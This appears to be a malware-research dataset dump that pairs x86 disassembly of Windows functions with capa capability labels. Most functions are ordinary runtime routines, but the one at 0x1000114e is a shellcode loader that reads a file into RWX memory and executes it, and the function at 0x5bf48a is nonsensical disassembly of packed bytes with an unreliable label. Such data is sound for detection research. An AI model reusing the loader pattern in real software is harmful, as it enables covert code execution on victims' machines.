joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48059f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4bd278]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4805df
cmp byte [ebx], 0xa
jne 0x4805df
or byte [eax + edi + 0x28], 4
jmp 0x4805e4
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4806e2
mov al, byte [edx]
cmp al, 0x1a
je 0x4806c4
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x480613
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x480638
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x480642
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4805f5
jmp 0x4806e2
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4806bf
cmp dword [ebp - 0xc], 0
je 0x4806bf
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4bd278]
test byte [eax + edi + 0x28], 0x48
je 0x480699
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x480684
mov byte [esi], dl
jmp 0x480695
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4bd278]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4806e2
cmp byte [ebp - 1], 0xa
jne 0x4806a8
cmp esi, ebx
jne 0x4806a8
mov byte [esi], 0xa
jmp 0x4806e1
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00481434
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4806e2
mov byte [esi], 0xd
jmp 0x4806e1
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4bd278]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4806de
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4806e2
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4806eb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4bd278]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x48072e
cmp word [esi], dx
jne 0x48072e
or byte [edi + eax + 0x28], 4
jmp 0x480733
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x480886
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x480866
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x480775
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4807ab
cmp eax, edx
jae 0x4807b7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x48074d
jmp 0x480886
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x480862
cmp dword [ebp - 0x14], 0
je 0x480862
mov eax, dword [ebx*4 + 0x4bd278]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x48083a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x480803
mov word [esi], cx
jmp 0x480836
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4bd278]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4bd278]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4bd278]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x480886
pop ebx
cmp word [ebp - 4], bx
jne 0x48084b
cmp esi, dword [ebp + 0xc]
jne 0x48084b
mov word [esi], bx
jmp 0x480883
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00481434
add esp, 0x10
cmp word [ebp - 4], bx
je 0x480886
push 0xd
jmp 0x48087f
mov ecx, dword [ebx*4 + 0x4bd278]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x48087d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x480886
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x487f23
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00487df7
Function at 0x488760
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4ba094]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4887ab
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00488b3a
test al, al
jne 0x4887a5
sub edx, 2
cmp edx, edi
jne 0x48878b
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4887cd
lea eax, [edi + 2]
cmp edx, eax
je 0x4887cd
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00488427
add esp, 0x10
jmp 0x4888c7
push esi
lea ecx, [ebp - 0x255]
call fcn.00488b3a
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x488810
push dword [ebp - 0x25c]
jmp 0x4887bd
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x48884d
cmp word [ebp - 0x226], 0
je 0x48886e
cmp word [ebp - 0x226], ax
jne 0x48884d
cmp word [ebp - 0x224], 0
je 0x48886e
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00488427
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4888ba
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x488827
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4888a2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4888c7
push 0x487f46
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00495bd0
add esp, 0x10
jmp 0x488897
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042c665
leave
ret
Function at 0x489cb6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x489d53
push ebx
push esi
call fcn.00489c72
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00486d57
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x489d00
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x489d52
push edi
push eax
call fcn.0048161f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x489d20
call fcn.0047ce08
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x489d51
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00486d57
add esp, 0x20
test eax, eax
jne 0x489d3f
push edi
call fcn.0047ce08
jmp 0x489d47
push ebx
call fcn.0047ce08
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x489d56
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x489d67
pop esi
ret
push ebx
push edi
push esi
call fcn.00489c72
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0048161f
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x489d8f
push ebx
push esi
push edi
call fcn.00442560
add esp, 0xc
push 0
call fcn.0047ce08
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x48a670
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048a002
Function at 0x4974cd
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004972ed
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x497645
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x497645
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4975f4
jg 0x497526
test eax, eax
je 0x4975ea
push 1
push 0x1000
call fcn.0047ceab
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x49754c
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4975e1
push 0x8000
push ebx
call fcn.00477da3
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x497578
jg 0x497573
cmp ecx, 0x1000
jb 0x497578
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0047f33c
add esp, 0x10
cmp eax, 0xffffffff
je 0x4975bd
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x497573
jl 0x4975a4
test ecx, ecx
jne 0x497565
push dword [ebp - 0xc]
push ebx
call fcn.00477da3
push esi
call fcn.0047ce08
add esp, 0xc
xor edi, edi
jmp 0x497656
cmp byte [edi + 0x24], 0
je 0x4975d4
cmp dword [edi + 0x20], 5
jne 0x4975d4
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4975df
mov edi, dword [edi + 0x18]
jmp 0x4975e1
xor edi, edi
push esi
call fcn.0047ce08
pop ecx
jmp 0x497656
test ecx, ecx
jg 0x4975b6
jl 0x4975f4
test eax, eax
jae 0x4975b6
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00481434
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x497617
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4975b6
jmp 0x49764e
push ebx
call fcn.0048ad5e
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4975b6
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x497656
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x497653
mov edi, dword [edi + 0x18]
jmp 0x497656
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00481434
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x414312
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push edi
push dword [esi + 0x144]
lea ebx, [esi + 0x78]
push dword [esi + 0x20]
lea eax, [esi + 0x1f0]
push ebx
push eax
mov dword [ebp - 8], 1
call fcn.00423fea
mov edi, eax
test edi, edi
jns 0x41434f
push 0x43bb08
jmp 0x4144cf
lea eax, [esi + 0xe8]
push ebx
push eax
call fcn.004290e4
mov edi, eax
test edi, edi
jns 0x41436c
push 0x43bad4
jmp 0x4144cf
cmp dword [esi + 0x268], 1
jne 0x4143c0
lea eax, [ebp - 4]
push eax
push 1
lea ebx, [esi + 0x274]
push ebx
call fcn.004153b0
mov edi, eax
test edi, edi
jns 0x414397
push 0x43ba96
jmp 0x4144cf
push ebx
call fcn.004155cc
mov edi, eax
test edi, edi
jns 0x4143ad
push 0x43ba68
jmp 0x4144cf
cmp dword [ebp - 4], 0
je 0x4143c0
push dword [ebp - 4]
call dword [fcn.00401270]
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
lea eax, [esi + 0xe4]
push eax
push dword [esi + 0x144]
lea eax, [esi + 0x9c]
push dword [esi + 0x20]
lea ebx, [esi + 0x78]
push eax
push ebx
call fcn.004283b4
mov edi, eax
xor eax, eax
cmp edi, eax
jge 0x4143f6
push 0x43ba46
jmp 0x4144cf
cmp dword [ebp - 8], eax
jne 0x41440e
push 0xe0000035
push 1
call fcn.00413fba
xor edi, edi
jmp 0x4144d5
cmp dword [esi + 0xa8], eax
je 0x414429
cmp dword [esi + 0x20], 2
jle 0x414429
lea ecx, [esi + 0x34]
push ecx
push eax
push dword [ebp + 8]
call fcn.0042739c
push esi
push dword [ebp + 8]
call fcn.004236fa
mov edi, eax
test edi, edi
jns 0x414442
push 0x43b7c4
jmp 0x4144cf
push esi
call fcn.0041ed52
mov edi, eax
test edi, edi
jns 0x414455
push 0x43ba28
jmp 0x4144cf
push ebx
push dword [esi + 0x1c]
call fcn.00425240
mov edi, eax
test edi, edi
jns 0x41446b
push 0x43ba08
jmp 0x4144cf
push ebx
lea eax, [esi + 0xe8]
push eax
call fcn.00419a04
mov edi, eax
test edi, edi
jns 0x414485
push 0x43b9e2
jmp 0x4144cf
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4144ad
cmp word [eax], 0
je 0x4144ad
push 0
push eax
push 0x402658
push ebx
call fcn.0041d68e
mov edi, eax
test edi, edi
jns 0x4144ad
push 0x43b994
jmp 0x4144cf
and dword [ebp + 8], 0
lea eax, [ebp + 8]
push eax
mov eax, esi
call fcn.004141bc
mov edi, eax
test edi, edi
js 0x4144ca
cmp dword [ebp + 8], 0
jne 0x4144ad
jmp 0x4144d7
push 0x43b97e
push edi
call fcn.0043913a
pop ecx
pop ecx
push esi
call fcn.00423422
lea eax, [esi + 0x78]
push eax
call fcn.0041e496
cmp dword [esi + 0x284], 0xffffffff
je 0x414512
cmp dword [esi + 0x268], 1
jne 0x4144fd
mov eax, dword [esi + 0x18]
jmp 0x4144ff
xor eax, eax
push eax
push dword [esi + 0xe4]
lea eax, [esi + 0x274]
push eax
call fcn.004158ba
push dword [esi + 0x34]
call dword [fcn.00401358]
test eax, eax
je 0x41452e
push 0
push 0
push 0x10
push dword [esi + 0x34]
call dword [fcn.0040135c]
cmp dword [ebp - 4], 0
je 0x41453d
push dword [ebp - 4]
call dword [fcn.00401270]
mov eax, edi
pop edi
pop ebx
leave
ret 4
Function at 0x5bf48a
Capabilities:
Encode data using xor

Disassembly:
imul esp, dword [edi], 0x42
and byte [ebx + esi*4], bh
pop ecx
daa
pop eax
xor eax, 0xdff37c4b
pop ebp
mov edx, 0x9fda408
pushfd
out 0, eax
dec ebx
jl 0x5bf420
fistp word [ebp - 0x46]
or byte [ebp + edi*8 + 0xe79c09], ah
sahf
leave
iretd
jle 0x5bf42a
cmp dh, bl
int3
or byte [esp + ecx*4 + 0x79], 0x2b
or ecx, dword [ecx + edx + 0x581fc9c7]
pop eax
xchg esi, eax
pop eax
shr byte [edi], cl
scasd eax, dword es:[edi]
sti
lodsd eax, dword [esi]
xlatb
popal
sbb al, 0x72
xor al, 0x5c
sbb al, 0x5e
stc
mov edx, 0xdb39255b
and eax, 0x8dbf7353
mov esi, 0x1d7e8b45
and eax, 0x2536db39
push ebx
jae 0x5bf46f
lea edi, [esi + 0x1d7e8b45]
popfd
outsd dx, dword [esi]
jp 0x5bf498
add esi, dword [edi + 0x1f90f5fd]
jb 0x5bf4dd
jbe 0x5bf4c8
jmp 0x5bf495
test byte [edi], dh
xor al, 0xe4
mov edx, 0x637d7229
lodsd eax, dword [esi]
sub eax, 0x51bbccb3
nop
stosd dword es:[edi], eax
out 0x29, eax
fdivr qword [edi + ebx*4]
cmp al, 0x9f
inc dword [ecx]
jo 0x5bf4f1
out 0xa2, eax
jl 0x5bf4a8
mov byte [0x4022c07c], al
and eax, 0x3c788c69
invalid
and al, byte [eax + 0x25]
imul ecx, dword [eax + edi*2 - 0x6d93f0c4], 0xef7c2572
xchg edx, eax
jb 0x5bf519
jl 0x5bf4e5
add esp, dword [ebp - 0x6cfa2694]
xchg ebx, eax
pop esi
neg byte [ebp - 0x203ac40e]
pop ecx
pushfd
out dx, al
cdq
jp 0x5bf4fb
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword gs:[esi]
or cl, byte [eax + 0x3f]
insb byte es:[edi], dx
inc ebp
wait
push ebp
mov edi, 0xede25f9
dec esp
xor eax, 0xbc66c5f2
cmp cl, byte [ecx]
ja 0x5bf56d
sub eax, 0xce274a09
adc dl, byte [edx - 0x52]
retf 0xcd58
invalid
Function at 0x405eba
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x405ede
xor eax, eax
test eax, eax
je 0x405ef0
cmp byte [ebp + eax - 0x121], 0x5c
je 0x405ef0
xor ecx, ecx
jmp 0x405ef3
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409010]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x405f97
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422acc], 0
push esi
jne 0x405fce
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405fa8
mov dword [ecx*4 + 0x422ac8], eax
inc ecx
cmp ecx, 0x100
jl 0x405fa3
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405fff
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422ac8]
xor eax, esi
inc ecx
dec edx
jne 0x405fe1
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x41daef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041d791

Function at 0x41dafa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041d920

Function at 0x41def4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040c000
mov eax, dword [0x480000]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041ac9c
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41df36
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41e092
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00427680
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x482778]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041ec93
mov ecx, dword [esi*4 + 0x482778]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41e08b
cmp eax, dword [edi + ecx + 0x24]
jne 0x41e08b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e08b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041ec93
add esp, 0x14
test edx, edx
jl 0x41e08b
jg 0x41e001
test eax, eax
jb 0x41e08b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41e08b
jl 0x41e01b
cmp dword [ebp - 0x1008], eax
ja 0x41e08b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41e039
test ebx, ebx
je 0x41e072
cmp ecx, edi
jae 0x41e072
mov al, byte [ecx]
cmp al, 0xd
jne 0x41e053
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41e05f
cmp byte [ecx + 1], 0xa
jne 0x41e05f
inc ecx
jmp 0x41e05f
movzx eax, al
movsx eax, byte [eax + 0x4802d8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41e039
cmp edx, ebx
jne 0x41e039
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41e090
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040b417
leave
ret
Function at 0x41e131
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x482778]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e171
cmp byte [ebx], 0xa
jne 0x41e171
or byte [eax + edi + 0x28], 4
jmp 0x41e176
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41e274
mov al, byte [edx]
cmp al, 0x1a
je 0x41e256
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41e1a5
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41e1ca
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41e1d4
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41e187
jmp 0x41e274
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e251
cmp dword [ebp - 0xc], 0
je 0x41e251
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x482778]
test byte [eax + edi + 0x28], 0x48
je 0x41e22b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41e216
mov byte [esi], dl
jmp 0x41e227
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x482778]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41e274
cmp byte [ebp - 1], 0xa
jne 0x41e23a
cmp esi, ebx
jne 0x41e23a
mov byte [esi], 0xa
jmp 0x41e273
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041ecb1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41e274
mov byte [esi], 0xd
jmp 0x41e273
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x482778]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41e270
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41e274
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret